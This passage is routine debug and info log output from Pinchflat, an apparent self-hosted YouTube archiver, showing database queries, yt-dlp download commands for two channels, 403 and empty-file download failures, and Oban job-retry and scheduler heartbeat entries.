s1."max_duration_seconds")))) LIMIT 1 [13061] 05:27:57.438 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 05:27:57.438 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:27:57.439 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:27:57.439 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:27:57.439 [debug] Running yt-dlp command for action: get_downloadable_status 05:27:57.440 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:27:57.440 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:27:57.440 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:27:57.440 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/40/fa/40fa86ea00e50ece0bf525599932a68e55e48c5b184ef0240e1d0927b9682204.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:28:00.597 [info] {"source":"oban","duration":324,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:28:00.909 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/40/fa/40fa86ea00e50ece0bf525599932a68e55e48c5b184ef0240e1d0927b9682204.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 05:28:00.910 [debug] Running yt-dlp command for action: download 05:28:00.910 [debug] QUERY OK source="settings" db=0.1ms idle=379.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:28:00.910 [debug] QUERY OK source="settings" db=0.0ms idle=380.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:28:00.910 [debug] QUERY OK source="settings" db=0.0ms idle=380.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:28:00.911 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/9a/11/9a1131e9d80af834bcb766b528c225f33ccb63b948d7366fb83455ba2cb257c4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:28:05.530 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/9a/11/9a1131e9d80af834bcb766b528c225f33ccb63b948d7366fb83455ba2cb257c4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 05:28:05.530 [error] yt-dlp download error for media item #13061: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 05:28:05.531 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":8094605,"event":"job:exception","queue_time":971806,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:28:21.512 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:51.513 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.598 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:29:21.514 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:51.515 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.599 [info] {"source":"oban","duration":329,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:30:21.517 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:51.519 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.600 [info] {"source":"oban","duration":358,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:31:21.520 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:51.521 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.601 [info] {"source":"oban","duration":300,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:32:21.523 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:51.524 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.602 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:33:21.525 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:51.526 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.603 [info] {"source":"oban","duration":291,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:34:21.528 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:51.529 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.604 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:35:21.531 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:51.533 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.605 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:36:21.534 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:51.535 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.606 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:37:21.536 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:51.537 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.607 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:38:21.539 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:51.541 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.608 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:39:21.542 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:51.543 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.610 [info] {"source":"oban","duration":427,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:40:21.544 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:51.545 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.610 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:41:08.339 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1775036468339228810,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:41:08.339 [debug] QUERY OK source="media_items" db=0.2ms idle=808.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 05:41:08.339 [info] User scripts lifecyle file either not present or is empty. Skipping. 05:41:08.340 [debug] QUERY OK source="sources" db=0.1ms idle=809.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 05:41:08.340 [debug] QUERY OK source="media_profiles" db=0.1ms idle=809.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:41:08.341 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 05:41:08.341 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 05:41:08.341 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:41:08.342 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:08.342 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:08.342 [debug] Running yt-dlp command for action: get_downloadable_status 05:41:08.343 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:08.343 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:08.343 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:08.343 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/72/da/72da28d589166ddbabdac3d13ba482bfec7e83483951ec6df5dee98d49c69355.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:41:12.063 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/72/da/72da28d589166ddbabdac3d13ba482bfec7e83483951ec6df5dee98d49c69355.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 05:41:12.063 [debug] Running yt-dlp command for action: download 05:41:12.063 [debug] QUERY OK source="settings" db=0.1ms idle=727.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:12.063 [debug] QUERY OK source="settings" db=0.1ms idle=533.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:12.064 [debug] QUERY OK source="settings" db=0.1ms idle=533.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:41:12.064 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/87/3f/873f55ad0bee5e9ba654f5ad3478b741da9f2b4f5a0a197a128b7470cf49e583.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:41:21.546 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:51.547 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.611 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:42:21.549 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:51.550 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.612 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:43:21.551 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:51.552 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.613 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:44:21.552 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:51.554 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.614 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:45:21.555 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:51.556 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.615 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:46:09.078 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/87/3f/873f55ad0bee5e9ba654f5ad3478b741da9f2b4f5a0a197a128b7470cf49e583.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 05:46:09.078 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 05:46:09.079 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":300739522,"event":"job:exception","queue_time":700061,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:46:21.557 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:51.559 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.616 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:47:21.560 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:51.561 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.617 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:48:21.562 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:51.563 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.618 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:49:21.564 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:51.565 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.619 [info] {"source":"oban","duration":376,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:50:21.566 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:51.568 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.620 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:51:21.569 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:51.570 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.621 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:52:21.571 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:51.572 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.622 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:53:21.573 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:51.574 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.624 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:54:21.575 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:51.576 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.624 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:55:21.578 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:51.579 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.625 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:56:21.581 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:51.582 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.626 [info] 